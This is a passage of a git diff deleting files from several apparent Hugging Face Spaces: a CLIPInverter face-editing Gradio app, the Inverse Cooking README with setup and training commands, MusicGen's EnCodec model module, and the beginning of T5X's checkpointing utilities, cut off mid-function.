b/spaces/johnberg/CLIPInverter/app.py deleted file mode 100644 index f78f8e65afa266498fecd1d6ac73cc00b782fa17..0000000000000000000000000000000000000000 --- a/spaces/johnberg/CLIPInverter/app.py +++ /dev/null @@ -1,80 +0,0 @@ -import torch -from argparse import Namespace -import torchvision.transforms as transforms -import clip -import numpy as np -import sys -sys.path.append(".") -sys.path.append("..") -from models.e4e_features import pSp -from adapter.adapter_decoder import CLIPAdapterWithDecoder - -import gradio as gr - -def tensor2im(var): - var = var.cpu().detach().transpose(0, 2).transpose(0, 1).numpy() - var = ((var + 1) / 2) - var[var < 0] = 0 - var[var > 1] = 1 - var = var * 255 - return var.astype('uint8') - -def run_alignment(image_path): - import dlib - from align_faces_parallel import align_face - predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat") - aligned_image = align_face(image_path, predictor=predictor) - # print("Aligned image has shape: {}".format(aligned_image.size)) - return aligned_image - -input_transforms = transforms.Compose([ - transforms.Resize((256, 256)), - transforms.ToTensor(), - transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]) - -model_path = 'pretrained_faces.pt' -e4e_path = 'e4e_ffhq_encode.pt' - -ckpt = torch.load(model_path, map_location='cpu') -opts = ckpt['opts'] -opts['checkpoint_path'] = model_path -opts['pretrained_e4e_path'] = e4e_path -device = 'cuda' if torch.cuda.is_available() else 'cpu' -opts['device'] = device -opts = Namespace(**opts) -encoder = pSp(opts) -encoder.eval() -encoder.to(device) - -adapter = CLIPAdapterWithDecoder(opts) -adapter.eval() -adapter.to(device) - -clip_model, _ = clip.load("ViT-B/32", device=device) - -def manipulate(input_image, caption): - aligned_image = run_alignment(input_image) - input_image = input_transforms(aligned_image) - input_image = input_image.unsqueeze(0) - text_input = clip.tokenize(caption) - text_input = text_input.to(device) - input_image = input_image.to(device).float() - - with torch.no_grad(): - text_features = clip_model.encode_text(text_input).float() - - w, features = encoder.forward(input_image, return_latents=True) - features = adapter.adapter(features, text_features) - w_hat = w + 0.1 * encoder.forward_features(features) - - result_tensor, _ = adapter.decoder([w_hat], input_is_latent=True, return_latents=False, randomize_noise=False, truncation=1, txt_embed=text_features) - result_tensor = result_tensor.squeeze(0) - result_image = tensor2im(result_tensor) - - return result_image - -gr.Interface(fn=manipulate, - inputs=[gr.Image(type="pil"), "text"], - outputs="image", - examples=[['example.jpg', "He has mustache"]], - title="CLIPInverter").launch() diff --git a/spaces/johnson906/recipedia/README.md b/spaces/johnson906/recipedia/README.md deleted file mode 100644 index ef28dcf9aeeffefefbdc57ad132535c76d6ec633..0000000000000000000000000000000000000000 --- a/spaces/johnson906/recipedia/README.md +++ /dev/null @@ -1,119 +0,0 @@ -## Inverse Cooking: Recipe Generation from Food Images - -Code supporting the paper: - -*Amaia Salvador, Michal Drozdzal, Xavier Giro-i-Nieto, Adriana Romero. -[Inverse Cooking: Recipe Generation from Food Images. ](https://arxiv.org/abs/1812.06164) -CVPR 2019* - - -If you find this code useful in your research, please consider citing using the -following BibTeX entry: - -``` -@InProceedings{Salvador2019inversecooking, -author = {Salvador, Amaia and Drozdzal, Michal and Giro-i-Nieto, Xavier and Romero, Adriana}, -title = {Inverse Cooking: Recipe Generation From Food Images}, -booktitle = {The IEEE Conference on Computer Vision and Pattern Recognition (CVPR)}, -month = {June}, -year = {2019} -} -``` - -### Installation - -This code uses Python 3.6 and PyTorch 0.4.1 cuda version 9.0. - -- Installing PyTorch: -```bash -$ conda install pytorch=0.4.1 cuda90 -c pytorch -``` - -- Install dependencies -```bash -$ pip install -r requirements.txt -``` - -### Pretrained model - -- Download ingredient and instruction vocabularies [here](https://dl.fbaipublicfiles.com/inversecooking/ingr_vocab.pkl) and [here](https://dl.fbaipublicfiles.com/inversecooking/instr_vocab.pkl), respectively. -- Download pretrained model [here](https://dl.fbaipublicfiles.com/inversecooking/modelbest.ckpt). - -### Demo - -You can use our pretrained model to get recipes for your images. - -Download the required files (listed above), place them under the ```data``` directory, and try our demo notebook ```src/demo.ipynb```. - -Note: The demo will run on GPU if a device is found, else it will use CPU. - -### Data - -- Download [Recipe1M](http://im2recipe.csail.mit.edu/dataset/download) (registration required) -- Extract files somewhere (we refer to this path as ```path_to_dataset```). -- The contents of ```path_to_dataset``` should be the following: -``` -det_ingrs.json -layer1.json -layer2.json -images/ -images/train -images/val -images/test -``` - -*Note: all python calls below must be run from ```./src```* -### Build vocabularies - -```bash -$ python build_vocab.py --recipe1m_path path_to_dataset -``` - -### Images to LMDB (Optional, but recommended) - -For fast loading during training: - -```bash -$ python utils/ims2file.py --recipe1m_path path_to_dataset -``` - -If you decide not to create this file, use the flag ```--load_jpeg``` when training the model. - -### Training - -Create a directory to store checkpoints for all models you train -(e.g. ```../checkpoints``` and point ```--save_dir``` to it.) - -We train our model in two stages: - -1. Ingredient prediction from images - -```bash -python train.py --model_name im2ingr --batch_size 150 --finetune_after 0 --ingrs_only \ ---es_metric iou_sample --loss_weight 0 1000.0 1.0 1.0 \ ---learning_rate 1e-4 --scale_learning_rate_cnn 1.0 \ ---save_dir ../checkpoints --recipe1m_dir path_to_dataset -``` - -2. Recipe generation from images and ingredients (loading from 1.) - -```bash -python train.py --model_name model --batch_size 256 --recipe_only --transfer_from im2ingr \ ---save_dir ../checkpoints --recipe1m_dir path_to_dataset -``` - -Check training progress with Tensorboard from ```../checkpoints```: - -```bash -$ tensorboard --logdir='../tb_logs' --port=6006 -``` - -### Evaluation - -- Save generated recipes to disk with -```python sample.py --model_name model --save_dir ../checkpoints --recipe1m_dir path_to_dataset --greedy --eval_split test```. -- This script will return ingredient metrics (F1 and IoU) - -### License - -inversecooking is released under MIT license, see [LICENSE](LICENSE.md) for details. diff --git a/spaces/jordonpeter01/MusicGen/audiocraft/models/encodec.py b/spaces/jordonpeter01/MusicGen/audiocraft/models/encodec.py deleted file mode 100644 index 69621a695887b0b41614c51cae020f6fd0af221d..0000000000000000000000000000000000000000 --- a/spaces/jordonpeter01/MusicGen/audiocraft/models/encodec.py +++ /dev/null @@ -1,302 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -from abc import ABC, abstractmethod -import typing as tp - -from einops import rearrange -import torch -from torch import nn - -from .. import quantization as qt - - -class CompressionModel(ABC, nn.Module): - - @abstractmethod - def forward(self, x: torch.Tensor) -> qt.QuantizedResult: - ... - - @abstractmethod - def encode(self, x: torch.Tensor) -> tp.Tuple[torch.Tensor, tp.Optional[torch.Tensor]]: - """See `EncodecModel.encode`""" - ... - - @abstractmethod - def decode(self, codes: torch.Tensor, scale: tp.Optional[torch.Tensor] = None): - """See `EncodecModel.decode`""" - ... - - @property - @abstractmethod - def channels(self) -> int: - ... - - @property - @abstractmethod - def frame_rate(self) -> int: - ... - - @property - @abstractmethod - def sample_rate(self) -> int: - ... - - @property - @abstractmethod - def cardinality(self) -> int: - ... - - @property - @abstractmethod - def num_codebooks(self) -> int: - ... - - @property - @abstractmethod - def total_codebooks(self) -> int: - ... - - @abstractmethod - def set_num_codebooks(self, n: int): - """Set the active number of codebooks used by the quantizer. - """ - ... - - -class EncodecModel(CompressionModel): - """Encodec model operating on the raw waveform. - - Args: - encoder (nn.Module): Encoder network. - decoder (nn.Module): Decoder network. - quantizer (qt.BaseQuantizer): Quantizer network. - frame_rate (int): Frame rate for the latent representation. - sample_rate (int): Audio sample rate. - channels (int): Number of audio channels. - causal (bool): Whether to use a causal version of the model. - renormalize (bool): Whether to renormalize the audio before running the model. - """ - # we need assignement to override the property in the abstract class, - # I couldn't find a better way... - frame_rate: int = 0 - sample_rate: int = 0 - channels: int = 0 - - def __init__(self, - encoder: nn.Module, - decoder: nn.Module, - quantizer: qt.BaseQuantizer, - frame_rate: int, - sample_rate: int, - channels: int, - causal: bool = False, - renormalize: bool = False): - super().__init__() - self.encoder = encoder - self.decoder = decoder - self.quantizer = quantizer - self.frame_rate = frame_rate - self.sample_rate = sample_rate - self.channels = channels - self.renormalize = renormalize - self.causal = causal - if self.causal: - # we force disabling here to avoid handling linear overlap of segments - # as supported in original EnCodec codebase. - assert not self.renormalize, 'Causal model does not support renormalize' - - @property - def total_codebooks(self): - """Total number of quantizer codebooks available. - """ - return self.quantizer.total_codebooks - - @property - def num_codebooks(self): - """Active number of codebooks used by the quantizer. - """ - return self.quantizer.num_codebooks - - def set_num_codebooks(self, n: int): - """Set the active number of codebooks used by the quantizer. - """ - self.quantizer.set_num_codebooks(n) - - @property - def cardinality(self): - """Cardinality of each codebook. - """ - return self.quantizer.bins - - def preprocess(self, x: torch.Tensor) -> tp.Tuple[torch.Tensor, tp.Optional[torch.Tensor]]: - scale: tp.Optional[torch.Tensor] - if self.renormalize: - mono = x.mean(dim=1, keepdim=True) - volume = mono.pow(2).mean(dim=2, keepdim=True).sqrt() - scale = 1e-8 + volume - x = x / scale - scale = scale.view(-1, 1) - else: - scale = None - return x, scale - - def postprocess(self, - x: torch.Tensor, - scale: tp.Optional[torch.Tensor] = None) -> torch.Tensor: - if scale is not None: - assert self.renormalize - x = x * scale.view(-1, 1, 1) - return x - - def forward(self, x: torch.Tensor) -> qt.QuantizedResult: - assert x.dim() == 3 - length = x.shape[-1] - x, scale = self.preprocess(x) - - emb = self.encoder(x) - q_res = self.quantizer(emb, self.frame_rate) - out = self.decoder(q_res.x) - - # remove extra padding added by the encoder and decoder - assert out.shape[-1] >= length, (out.shape[-1], length) - out = out[..., :length] - - q_res.x = self.postprocess(out, scale) - - return q_res - - def encode(self, x: torch.Tensor) -> tp.Tuple[torch.Tensor, tp.Optional[torch.Tensor]]: - """Encode the given input tensor to quantized representation along with scale parameter. - - Args: - x (torch.Tensor): Float tensor of shape [B, C, T] - - Returns: - codes, scale (tp.Tuple[torch.Tensor, torch.Tensor]): Tuple composed of: - codes a float tensor of shape [B, K, T] with K the number of codebooks used and T the timestep. - scale a float tensor containing the scale for audio renormalizealization. - """ - assert x.dim() == 3 - x, scale = self.preprocess(x) - emb = self.encoder(x) - codes = self.quantizer.encode(emb) - return codes, scale - - def decode(self, codes: torch.Tensor, scale: tp.Optional[torch.Tensor] = None): - """Decode the given codes to a reconstructed representation, using the scale to perform - audio denormalization if needed. - - Args: - codes (torch.Tensor): Int tensor of shape [B, K, T] - scale (tp.Optional[torch.Tensor]): Float tensor containing the scale value. - - Returns: - out (torch.Tensor): Float tensor of shape [B, C, T], the reconstructed audio. - """ - emb = self.quantizer.decode(codes) - out = self.decoder(emb) - out = self.postprocess(out, scale) - # out contains extra padding added by the encoder and decoder - return out - - -class FlattenedCompressionModel(CompressionModel): - """Wraps a CompressionModel and flatten its codebooks, e.g. - instead of returning [B, K, T], return [B, S, T * (K // S)] with - S the number of codebooks per step, and `K // S` the number of 'virtual steps' - for each real time step. - - Args: - model (CompressionModel): compression model to wrap. - codebooks_per_step (int): number of codebooks to keep per step, - this must divide the number of codebooks provided by the wrapped model. - extend_cardinality (bool): if True, and for instance if codebooks_per_step = 1, - if each codebook has a cardinality N, then the first codebook will - use the range [0, N - 1], and the second [N, 2 N - 1] etc. - On decoding, this can lead to potentially invalid sequences. - Any invalid entry will be silently remapped to the proper range - with a modulo. - """ - def __init__(self, model: CompressionModel, codebooks_per_step: int = 1, - extend_cardinality: bool = True): - super().__init__() - self.model = model - self.codebooks_per_step = codebooks_per_step - self.extend_cardinality = extend_cardinality - - @property - def total_codebooks(self): - return self.model.total_codebooks - - @property - def num_codebooks(self): - """Active number of codebooks used by the quantizer. - - ..Warning:: this reports the number of codebooks after the flattening - of the codebooks! - """ - assert self.model.num_codebooks % self.codebooks_per_step == 0 - return self.codebooks_per_step - - def set_num_codebooks(self, n: int): - """Set the active number of codebooks used by the quantizer. - - ..Warning:: this sets the number of codebooks **before** the flattening - of the codebooks. - """ - assert n % self.codebooks_per_step == 0 - self.model.set_num_codebooks(n) - - @property - def num_virtual_steps(self) -> int: - """Return the number of virtual steps, e.g. one real step - will be split into that many steps. - """ - return self.model.num_codebooks // self.codebooks_per_step - - @property - def frame_rate(self) -> int: - return self.model.frame_rate * self.num_virtual_steps - - @property - def sample_rate(self) -> int: - return self.model.sample_rate - - @property - def channels(self) -> int: - return self.model.channels - - @property - def cardinality(self): - """Cardinality of each codebook. - """ - if self.extend_cardinality: - return self.model.cardinality * self.num_virtual_steps - else: - return self.model.cardinality - - def forward(self, x: torch.Tensor) -> qt.QuantizedResult: - raise NotImplementedError("Not supported, use encode and decode.") - - def encode(self, x: torch.Tensor) -> tp.Tuple[torch.Tensor, tp.Optional[torch.Tensor]]: - indices, scales = self.model.encode(x) - B, K, T = indices.shape - indices = rearrange(indices, 'b (k v) t -> b k t v', k=self.codebooks_per_step) - if self.extend_cardinality: - for virtual_step in range(1, self.num_virtual_steps): - indices[..., virtual_step] += self.model.cardinality * virtual_step - indices = rearrange(indices, 'b k t v -> b k (t v)') - return (indices, scales) - - def decode(self, codes: torch.Tensor, scale: tp.Optional[torch.Tensor] = None): - B, K, T = codes.shape - assert T % self.num_virtual_steps == 0 - codes = rearrange(codes, 'b k (t v) -> b (k v) t', v=self.num_virtual_steps) - # We silently ignore potential errors from the LM when - # using extend_cardinality. - codes = codes % self.model.cardinality - return self.model.decode(codes, scale) diff --git a/spaces/juancopi81/youtube-music-transcribe/t5x/checkpoints.py b/spaces/juancopi81/youtube-music-transcribe/t5x/checkpoints.py deleted file mode 100644 index 091900d839bfd2c8d3c0157d5bb893bd30610703..0000000000000000000000000000000000000000 --- a/spaces/juancopi81/youtube-music-transcribe/t5x/checkpoints.py +++ /dev/null @@ -1,1678 +0,0 @@ -# Copyright 2022 The T5X Authors. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -"""Utilities for reading and writing sharded checkpoints. - -The checkpointing utilities here can be used in two ways. The first is to use -the `Checkpointer` class. This requires having an optimizer and various -partitioning utilities setup, but allows for reading and writing of partitioned -parameters. It also allows different hosts to read different parameter -partitions in a multi-host setup, which results in much faster reads. This is -normally used during training where you have already created an optimizer based -on a config. - -The second way is to use the `load_t5x_checkpoint` function. This doesn't -require an optimizer to get given up front so it is useful for things like -debugging and analysis of learned weights. However, this means that we cannot do -partitioned reads so loading will be slower than that `Checkpointer` class. -""" -import asyncio -import dataclasses -import functools -import os -import re -import subprocess -import time -from typing import Any, Dict, Iterable, List, Mapping, MutableMapping, Optional, Sequence, Tuple - -from absl import logging -from flax import serialization -from flax import traverse_util -import jax -import jax.config -from jax.experimental import global_device_array as gda_lib -from jax.experimental import multihost_utils -from jax.experimental.gda_serialization import serialization as gda_serialization -import jax.numpy as jnp -import numpy as np -import orbax.checkpoint -from t5x import checkpoint_importer -from t5x import checkpoint_utils -from t5x import optimizers -from t5x import partitioning -from t5x import state_utils -from t5x import train_state as train_state_lib -import tensorflow as tf -from tensorflow.io import gfile -import tensorstore as ts -import typing_extensions -from tensorboard.backend.event_processing import directory_watcher -from tensorboard.backend.event_processing import event_file_loader -from tensorboard.backend.event_processing import io_wrapper - -PartitionSpec = partitioning.PartitionSpec -PyTreeDef = type(jax.tree_structure(None)) -LazyArray = checkpoint_importer.LazyArray -LazyAwaitableArray = checkpoint_importer.LazyAwaitableArray -LazyThreadPoolArray = checkpoint_importer.LazyThreadPoolArray - -# Version 3 is used since 2021-06-10, compared to version 2 the only change is -# that `bfloat16` arrays are written in Tensorstore using its native `bfloat16` -# support instead of casting them to `uint16`. -VERSION = 3 -# Desired chunk size is 64MiB. -# This is large enough to keep CNS happy but small enough to support a wide -# range of partitionings. -_DESIRED_CHUNK_SIZE_BYTES = 64 * 1024 * 1024 -# TODO(levskaya, adarob): how should we handle stacked/fused variables?? -_TRAIN_DS_PREFIX = 'train_ds' - - -def _choose_chunk_shape(write_shape: Sequence[int], - target_elements: int) -> List[int]: - """Chooses a chunk shape that evenly divides write_shape. - - The chunk shape is chosen such that the total number of elements is less than - or equal to `target_elements`, but is otherwise as large as possible. - - This uses a greedy algorithm that attempts to split the largest dimensions - first. - - Args: - write_shape: Write shape for which to choose a chunk shape. - target_elements: Desired number of elements in chosen chunk shape. Must be - >= 1. - - Returns: - List of length `len(write_shape)` specifying the chosen chunk shape. - """ - assert target_elements >= 1 - rank = len(write_shape) - - # `dim_factors[i]` is the list of divisors of `write_shape[i]` - dim_factors = [ - [i for i in range(1, size + 1) if size % i == 0] for size in write_shape - ] - - # The current chunk shape is: - # [dim_factors[i][-1] for i in range(rank)] - - def get_total_elements(): - """Returns the number of elements in the current chunk shape.""" - total_elements = 1 - for i in range(rank): - total_elements *= dim_factors[i][-1] - return total_elements - - # Reduce the current chunk shape until the desired number of elements is - # reached. - while get_total_elements() > target_elements: - # Greedily reduce the largest dimension. This is not guaranteed to bring us - # the closest to `target_elements`, but is simple to implement and should - # work well enough. - dim_to_reduce = -1 - dim_to_reduce_size = 1 - for i in range(rank): - size = dim_factors[i][-1] - if size > dim_to_reduce_size: - dim_to_reduce_size = size - dim_to_reduce = i - # Can only fail to choose `dim_to_reduce` if all dimensions have size of 1. - # But that cannot happen since `target_elements >= 1`. - assert dim_to_reduce_size > 1 - dim_factors[dim_to_reduce].pop() - return [dim_factors[i][-1] for i in range(rank)] - - -@dataclasses.dataclass -class _ParameterInfo: - """Information needed to read/write and slice a partitioned parameter.""" - # The unique parameter name. - name: str - # The shape of the parameter. - shape: Tuple[int] - # The TensoreStore Spec containing the minimal information for read/write. - ts_spec: Optional[ts.Spec] - # The LocalChunkInfo for the part of the parameter local to this host. - local_chunk_info: Optional[partitioning.LocalChunkInfo] - # PartitionSpec mesh axes - axes: Optional[partitioning.PartitionSpec] = None - - -orbax.checkpoint.utils.register_ts_spec_for_serialization() - - -def _run_future_tree(future_tree): - """Block until all futures are resolved on this host.""" - future_leaves, treedef = jax.tree_flatten(future_tree) - - # TODO(adarob): Use asyncio.run in py3.7+. - loop = asyncio.get_event_loop() - leaves = loop.run_until_complete(asyncio.gather(*future_leaves)) - return jax.tree_unflatten(treedef, leaves) - - -def all_steps(checkpoints_dir: str) -> Sequence[int]: - """Returns list of available step numbers in ascending order.""" - glob_pattern = os.path.join(checkpoints_dir, 'checkpoint_*', 'checkpoint') - checkpoint_paths = gfile.glob(glob_pattern) - re_pattern = re.compile(r'.*/checkpoint_(\d+)/checkpoint$') - matches = [re_pattern.match(ckpt) for ckpt in checkpoint_paths] - return sorted(int(match.group(1)) for match in matches if match) - - -def all_dataset_checkpoint_steps(checkpoints_dir: str) -> Sequence[int]: - """Returns available dataset checkpoint step numbers in ascending order.""" - glob_pattern = os.path.join(checkpoints_dir, 'checkpoint_*', - f'{_TRAIN_DS_PREFIX}-*') - train_ds_paths = gfile.glob(glob_pattern) - re_pattern = re.compile(r'.*/checkpoint_(\d+)/.*$') - matches = [re_pattern.match(path) for path in train_ds_paths] - return sorted(set(int(match.group(1)) for match in matches if match)) - - -def latest_step(checkpoints_dir: str) -> Optional[int]: - """Returns latest step number or None if no checkpoints exist.""" - steps = all_steps(checkpoints_dir) - if not steps: - return None - return steps[-1] - - -def _get_local_data(x): - if isinstance(x, gda_lib.GlobalDeviceArray): - return x.local_data(0) - else: - return x - - -def get_checkpoint_dir(checkpoints_dir: str, step: int) -> str: - """Returns path to a checkpoint dir given a parent directory and step.""" - return os.path.join(checkpoints_dir, f'checkpoint_{step}') - - -def _cast(target: PyTreeDef, dtype: jnp.dtype): - """Cast arrays in target to dtype.""" - - def maybe_cast(x): - if isinstance(x, (int, str)): - # Ignore common non-array types that shouldn't be cast. - return x - elif x.dtype == dtype: - return x - elif isinstance(x, jax.ShapeDtypeStruct): - return jax.ShapeDtypeStruct(x.shape, dtype) - elif isinstance(x, gda_lib.GlobalDeviceArray): - raise ValueError('GDA cast not supported.') - else: - return x.astype(dtype) - - return jax.tree_map(maybe_cast, target) - - -def _update_ts_path_from_relative_to_absolute( - ckpt_dir: str, ts_spec_dict: MutableMapping[str, Any]): - """Update (in-place) the path and gcs bucket (if applicable) in a TS Spec.""" - - # Handle `gs://` paths. - m = re.fullmatch('^gs://([^/]*)/(.*)$', ckpt_dir, re.DOTALL) - if m is not None: - if ts_spec_dict['kvstore']['driver'] != 'gcs': - raise ValueError(f'Incorrect TensorStore Spec. ' - f'Expects kvstore driver to be "gcs" for {ckpt_dir}. ' - f'Got {ts_spec_dict}') - bucket = m.group(1) - ckpt_dir = m.group(2) - ts_spec_dict['kvstore']['bucket'] = bucket - - # Update the path with `ckpt_dir` - - if 'path' in ts_spec_dict['kvstore']: - # tensorstore>=0.1.14 format - ts_spec_dict['kvstore']['path'] = os.path.join( - ckpt_dir, ts_spec_dict['kvstore']['path']) - elif 'path' in ts_spec_dict: - # tensorstore<0.1.14 format - ts_spec_dict['path'] = os.path.join(ckpt_dir, ts_spec_dict['path']) - else: - raise ValueError( - 'Incorrect TensorStore Spec. Expects "path" to be a key of spec or ' - f'`spec["kvstore"]`. Got {ts_spec_dict}') - - -def _maybe_update_ts_from_file_to_gcs(ckpt_contents): - """Updates the TensorStore driver from gfile to gcs.""" - - def _gfile_to_gcs_driver(arr_or_ts_spec_dict): - """Converts the ts.Spec dict using gfile driver to gcs driver.""" - if not isinstance(arr_or_ts_spec_dict, dict): - return arr_or_ts_spec_dict - - if arr_or_ts_spec_dict['kvstore']['driver'] in ('file', 'gfile'): - ts_spec_dict = arr_or_ts_spec_dict - path = ts_spec_dict['kvstore'].pop('path') - # This will be updated to the actual bucket in `_read_ts`. - ts_spec_dict['kvstore'] = { - 'bucket': 't5x-dummy-bucket', - 'driver': 'gcs', - 'path': path - } - else: - if arr_or_ts_spec_dict['kvstore']['driver'] != 'gcs': - raise ValueError('Unsupported TensoreStore driver. Got ' - f'{arr_or_ts_spec_dict["kvstore"]["driver"]}.') - ts_spec_dict = arr_or_ts_spec_dict - - return ts_spec_dict - - def _is_leaf(value): - return not isinstance( - value, dict) or set(value.keys()) >= {'driver', 'kvstore', 'metadata'} - - return jax.tree_map(_gfile_to_gcs_driver, ckpt_contents, is_leaf=_is_leaf) - - -def _maybe_update_ts_from_gcs_to_file(ckpt_contents): - """Updates the TensorStore driver to gfile or file if different.""" - - # if saved in gcs, change to file - def _gcs_to_file_driver(arr_or_ts_spec_dict): - if not isinstance(arr_or_ts_spec_dict, dict): - return arr_or_ts_spec_dict - - if arr_or_ts_spec_dict['kvstore']['driver'] == 'gcs': - ts_spec_dict = arr_or_ts_spec_dict - path = ts_spec_dict['kvstore'].pop('path') - driver = 'file' - ts_spec_dict['kvstore'] = {'path': path, 'driver': driver} - elif arr_or_ts_spec_dict['kvstore']['driver'] == 'gfile': - ts_spec_dict = arr_or_ts_spec_dict - driver = 'file' - ts_spec_dict['kvstore']['driver'] = driver - elif arr_or_ts_spec_dict['kvstore']['driver'] == 'file': - ts_spec_dict = arr_or_ts_spec_dict - else: - raise ValueError('Unsupported TensoreStore driver. Got ' - f'{arr_or_ts_spec_dict["kvstore"]["driver"]}.') - - return ts_spec_dict - - def _is_leaf(value): - return not isinstance( - value, dict) or set(value.keys()) >= {'driver', 'kvstore', 'metadata'} - - return jax.tree_map(_gcs_to_file_driver, ckpt_contents, is_leaf=_is_leaf) - - -class _BytesConditionVariable(object): - """Wraps a condition variable to control concurrency based on bytes.""" - - def __init__(self, num_bytes): - self._max_bytes = num_bytes - self._num_bytes = num_bytes - self._cv = asyncio.Condition(lock=asyncio.Lock()) - - async def wait_for_bytes(self, n_bytes): - async with self._cv: - await self._cv.wait_for(lambda: self._num_bytes > n_bytes) - self._num_bytes -= n_bytes - assert self._num_bytes >= 0 - - async def return_bytes(self, n_bytes): - async with self._cv: - self._num_bytes += n_bytes - assert self._num_bytes <= self._max_bytes - self._cv.notify_all() - - -class SaveStateTransformationFn(typing_extensions.Protocol): - - def __call__(self, state_dict: PyTreeDef, - parameter_infos: PyTreeDef) -> Tuple[PyTreeDef, PyTreeDef]: - """Transforms the state and param info, e.g., by remapping parameters. - - Args: - state_dict: State in the current model. - parameter_infos: PyTree containing `_ParameterInfo` objects. - - Returns: - A tuple whose first element is the result of transforming `state_dict` and - whose second element is the result of transforming `parameter_infos`. - """ - - -class RestoreStateTransformationFn(typing_extensions.Protocol): - - def __call__(self, - state_dict: PyTreeDef, - target_state_dict: PyTreeDef, - *, - is_resuming: bool = False) -> PyTreeDef: - """Transforms the given checkpoint state, e.g., by remapping parameters. - - Args: - state_dict: State to transform, which could be from a previous version of - the model. - target_state_dict: State in the current model. - is_resuming: `True` iff this restore call is due to a job resuming after - being temporarily stopped due to, for example, a preemption. This is - useful when there is restore logic that should run when restoring from - some pre-existing checkpoint, but that should not run again when - resuming from a newly-written checkpoint. - - Returns: - The result of transforming the `state_dict`. - """ - - -class Checkpointer(object): - """Handles saving and restoring potentially-sharded T5X checkpoints. - - Checkpoints are stored using a combination of msgpack (via flax.serialization) - and TensorStore. - - Parameters (and other objects) that are not partitioned are written to the - msgpack binary directly (by host 0). Partitioned parameters are each written - to their own TensorStore, with each host writing their portion to the same - TensorStore in parallel. If a partition is written on multiple hosts, the - partition is further sharded across these replicas to avoid additional - overhead. In place of the paramater, a `tensorstore.Spec` is written to the - msgpack (by host 0) as a reference to be used during restore. Note that the - path of the array being written is relative. This makes the checkpoints - portable. In other words, even if the checkpoint files are moved to a new - directory, they can still be loaded. Because the path is relative, the - checkpoint directory information has to be dynamically provided. This is done - by `_update_ts_path_from_relative_to_absolute`. - - For TensorStore driver using Google Cloud Storage (GCS) Key-Value Storage - Layer, the GCS bucket information is necessary. When a checkpoint is written - using the gcs driver, we don't want to hardcode the bucket information in the - resulting file in order to maintain the portability. Therefore, we use a dummy - bucket name of "t5x-dummy-bucket". When reading or writing the checkpoint, the - bucket information is parsed from the checkpoint directory and the bucket - information is dynamically updated. - - Attributes: - checkpoints_dir: a path to a directory to save checkpoints in and restore - them from. - keep: an optional maximum number of checkpoints to keep. If more than this - number of checkpoints exist after a save, the oldest ones will be - automatically deleted to save space. - restore_dtype: optional dtype to cast targets to after restoring. - save_dtype: dtype to cast targets to before saving. - keep_dataset_checkpoints: an optional maximum number of data iterators to - keep. If more than this number of data iterators exist after a save, the - oldest ones will be automatically deleted to save space. - """ - - def __init__(self, - train_state: train_state_lib.TrainState, - partitioner: partitioning.BasePartitioner, - checkpoints_dir: str, - dataset_iterator: Optional[tf.data.Iterator] = None, - *, - keep: Optional[int] = None, - save_dtype: jnp.dtype = np.float32, - restore_dtype: Optional[jnp.dtype] = None, - use_gda: Optional[bool] = False, - keep_dataset_checkpoints: Optional[int] = None): - """Checkpointer constructor. - - Args: - train_state: A train state to be used to determine the structure of the - parameter tree, and the *full* (non-partitioned) parameter shapes and - dtypes. Saved and restored train states must match this structure. - partitioner: the partitioner to use for determining the local chunks - mapping or to perform params partitioning on restore. - checkpoints_dir: a path to a directory to save checkpoints in and restore - them from. - dataset_iterator: an optional iterator to save/restore. - keep: an optional maximum number of checkpoints to keep. If more than this - number of checkpoints exist after a save, the oldest ones will be - automatically deleted to save space. - save_dtype: dtype to cast targets to before saving. - restore_dtype: optional dtype to cast targets to after restoring. If None, - no parameter casting is performed. - use_gda: if True, enabled gda_lib.GlobalDeviceArray. Note: this is - currently an experimental feature under development. - keep_dataset_checkpoints: an optional maximum number of data iterators to - keep. If more than this number of data iterators exist after a save, the - oldest ones will be automatically deleted to save space. - """ - self._train_state = train_state - self._partitioner = partitioner - self.checkpoints_dir = checkpoints_dir - self.keep = keep - self.keep_dataset_checkpoints = keep_dataset_checkpoints - # Immutable due to use in `_get_parameter_infos` - self._save_dtype = save_dtype - self.restore_dtype = restore_dtype - self._dataset_ckpt = ( - tf.train.Checkpoint(ds=dataset_iterator) if dataset_iterator else None) - self._use_gda = use_gda - if self._use_gda: - logging.info('Checkpointing using GDA format is enabled.') - - data_layout = partitioner.get_data_layout() - self._dataset_ckpt_name = ( - f'{_TRAIN_DS_PREFIX}-' - f'{data_layout.shard_id:03}-of-{data_layout.num_shards:03}') - self._should_write_dataset_ckpt = ( - dataset_iterator and data_layout.is_first_host_in_replica_set) - - self._parameter_infos = self._get_parameter_infos() - - asyncio.set_event_loop(asyncio.new_event_loop()) - - def _get_state_dict_for_save(self, - state_dict: Dict[str, Any], - lazy_load: bool = True) -> Mapping[str, Any]: - """Gets the optimizer state dict.""" - - def _lazy_load_device_array(arr): - if isinstance(arr, jax.xla.DeviceArray): - return LazyThreadPoolArray(arr.shape, arr.dtype, lambda: np.array(arr)) - return arr - - if lazy_load: - state_dict = jax.tree_map(_lazy_load_device_array, state_dict) - return state_dict - - def _get_parameter_infos(self): - """Generates the state dict of _ParameterInfos for the Optimizer. - - We generate a state dict (matching the shape of the optimizer state dict) - that stores a _ParameterInfo for each parameter array. - - The _ParameterInfo contains the TensorStore spec for the parameter array and - the LocalChunkInfo describing the slice of the array local to this host. - - Returns: - The state dict of _ParameterInfo objects. - """ - - def _get_param_info(name: str, arr: Any, axes: partitioning.PartitionSpec): - # If a node in your model is None it is probably a param_state that is not - # used because of a MultiOptimizer. We don't want to have any parameter - # info for it because it shouldn't be saved or restored. - if arr is None: - return None - # Pass-through empty dict leaves, which occur with optax EmptyState(). - if isinstance(arr, dict) and not arr: - return {} - - if axes is None: - return _ParameterInfo( - name=name, - shape=arr.shape, - ts_spec=None, - local_chunk_info=None, - axes=None) - - if self._use_gda and isinstance(arr, gda_lib.GlobalDeviceArray): - local_chunk_info = None - metadata = gda_serialization._get_metadata(arr) # pylint: disable=protected-access - del 